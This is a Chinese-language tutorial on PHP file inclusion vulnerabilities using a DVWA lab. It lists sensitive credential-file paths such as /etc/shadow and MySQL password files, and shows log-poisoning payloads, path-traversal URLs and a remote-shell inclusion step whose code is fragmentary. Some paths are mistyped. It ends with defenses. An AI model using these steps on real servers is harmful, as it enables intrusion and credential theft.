开发人员将需要重复调用的函数写入一个文档,对该文件进行包含时产生的操作,这样编写代码能减少代码冗余,降低代码后期维护难度,保证网站整体风格统一,导航栏,底部footer栏。
文件包含函数加载的参数没有经过过滤或严格定义,可以被用户控制,包含其他恶意文件,导致了执行非预期代码。
[http://192.168.139.136/DVWA-master/vulnerabilities/fi/?page=file2.php]
发现:page=xxxx.php包含其他文件
思路:尝试包含其他本地电脑文件
@ 包含系统文件
@包含上传文件(包含文件的内容只要符合php语法都能被当成php代码进行解析,无关后缀名是什么)
敏感文件默认路径列举
windows系统
路径 | 含义 |
---|---|
C:\boot.ini | 查看系统版本 |
C:\Windows\System32\inetsrv\MetaBase.xml | Iss配置文件 |
C:\Windows\repair\same | 存储window系统初次按照密码 |
C:\Program Files\mysql\my.ini | Mysql配置信息 |
C:\Program Files\mysql\data\mysql\user.MYD | Mysql root密码 |
C:\Windows\php.ini | Php配置信息 |
Linux/unix系统
路径 | 含义 |
---|---|
/etc/password | 账户信息 |
/etc/shadow | 账号密码文件 |
/usr/local/app/apache2/conf/httpd.conf | Apache2默认配置文件 |
/usr/local/app/apache2/conf/extra/httpd-vhost.conf | 虚拟网站配置 |
/usr/local/app/php5/lib/php.ini | Php相关配置 |
/etc/httpd/conf/httpd.conf | Apache配置信息 |
/etc/my.conf | MySQL配置文件 |
前提:php.ini中设置allow_url_fopen(默认)、allow_url_include=On()(php5.2后默认为Off)
包含远程shell---->蚁剑进行连接
Remoteshell.php
myfile,
myfile);
?>
获取敏感信息
执行任意命令
获取服务器权限
第一步 寻找可以传入的参数点
[http://192.168.139.136/DVWA-master/vulnerabilities/xss_r/?name=qwe#]
第二步 尝试传入php文件
[http://192.168.139.136/DVWA-master/vulnerabilities/xss_r/?name=%3C?php%20phpinfo();?%3E#]
注意{https://blog.csdn.net/qq_41901122/article/details/104574087}
第三步 使用burp抓包 更改
第四步 查看日志文件
[http://192.168.139.136/DVWA-master/vulnerabilities/fi/?page=…/…/…/…/Apache/logs/access.log]
CVE-2018-12613phpmyadmin
文件包含漏洞
File:// | 访问本地文件系统 |
http:// | 访问HTTP(s)网址 |
ftp:// | 访问FTP(s)URLs |
Php:// | 访问各个输入/输出流(I/O streams) |
Zlib:// | 压缩流 |
Data:// | 数据(RFC 2397) |
Glob:// | 查找匹配的文件路径模式 |
Phar:// | Php归档 |
Ssh2:// | SECURE shell 2 |
Rar:// | RAR |
Ogg:// | 音频流 |
Expect:// | 处理交互式的流 |
[http://192.168.139.136/DVWA-master/vulnerabilities/fi/?page=…//…//…/./phpinfo.php]
[http://192.168.139.136/DVWA-master/vulnerabilities/fi/?page=file://C:\phpStudy\WWW\phpinfo.php]
第六章文件包含漏洞的防御
尽量不使用动态包含,无需情况下设置 allow url includeallow和 url fopen为关闭; |
对可以包含的文件进行限制:使用白名单的方式,或者设置包含的目录,open_basedir; |
严格检查用户输入,参数中不允许出现之类的目录跳转符; |
严格检查变量是否初始化; |
不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。 |
本文档供学习,请使用者注意使用环境并遵守国家相关法律法规! 由于使用不当造成的后果上传者概不负责!